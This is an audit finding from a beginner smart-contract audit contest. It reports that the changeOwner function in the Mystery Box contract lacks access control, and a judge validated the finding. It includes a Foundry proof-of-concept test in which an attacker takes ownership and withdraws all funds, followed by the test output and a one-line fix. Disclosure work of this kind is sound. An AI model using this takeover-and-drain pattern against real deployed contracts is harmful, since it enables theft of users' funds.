Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

No access control in `changeOwner` causes anyone can claim the ownership of the contract and withdraw all funds

Summary

The changeOwner function lacks proper access control, enabling any user to claim ownership of the contract and withdraw all funds.

https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L113

Vulnerability Details

There's no access control in changeOwner function, causing the function opens to anyone to change ownership to themselves and exploiting the contract, withdrawing all contract funds with ease.

<@@>! function changeOwner(address _newOwner) public {
owner = _newOwner;
}

Proof of concept:

  1. In test\TestMysteryBox.t.sol, modify setUp and add new test test_audit_noAccessControlInChangeOwner

function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
// add this since MysteryBox needs fund of minimum 0.1 ether upon deployment
vm.deal(owner, 20 ether); // modified to fund mysteryBox with bigger amount
vm.startPrank(owner);
mysteryBox = new MysteryBox{value: 10 ether}(); // modified to show bigger amount available in contract at start
vm.stopPrank();
}
function test_audit_noAccessControlInChangeOwner() public {
address attacker = makeAddr("Attacker");
console.log("attacker balance before call to changeOwner: ", attacker.balance);
console.log("mysteryBox balance before call to changeOwner: ", address(mysteryBox).balance);
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
console.log("attacker balance after call to changeOwner: ", attacker.balance);
console.log("mysteryBox balance after call to changeOwner: ", address(mysteryBox).balance);
assertEq(attacker.balance, 10 ether);
assertEq(address(mysteryBox).balance, 0);
}

2.Run the test

$ forge test --match-test test_audit_noAccessControlInChangeOwner -vv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 1.05s
Compiler run successfully
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_audit_noAccessControlInChangeOwner() (gas: 58564)
Logs:
Reward Pool Length: 4
attacker balance before call to changeOwner : 0
mysteryBox balance before call to changeOwner: 10000000000000000000
attacker balance after call to changeOwner : 10000000000000000000
mysteryBox balance after call to changeOwner : 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 759.50µs (120.33µs CPU time)
Ran 1 test suite in 113.93ms (759.50µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The test passed indicating that an attacker can easily change the ownership of the contract to themselves and withdraw all contract funds.

Impact

Loss of contract control and contract funds

Tools Used

Manual review with test

Recommendations

Implement access control to this critical function

function changeOwner(address _newOwner) public {
+ require(msg.sender == owner);
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!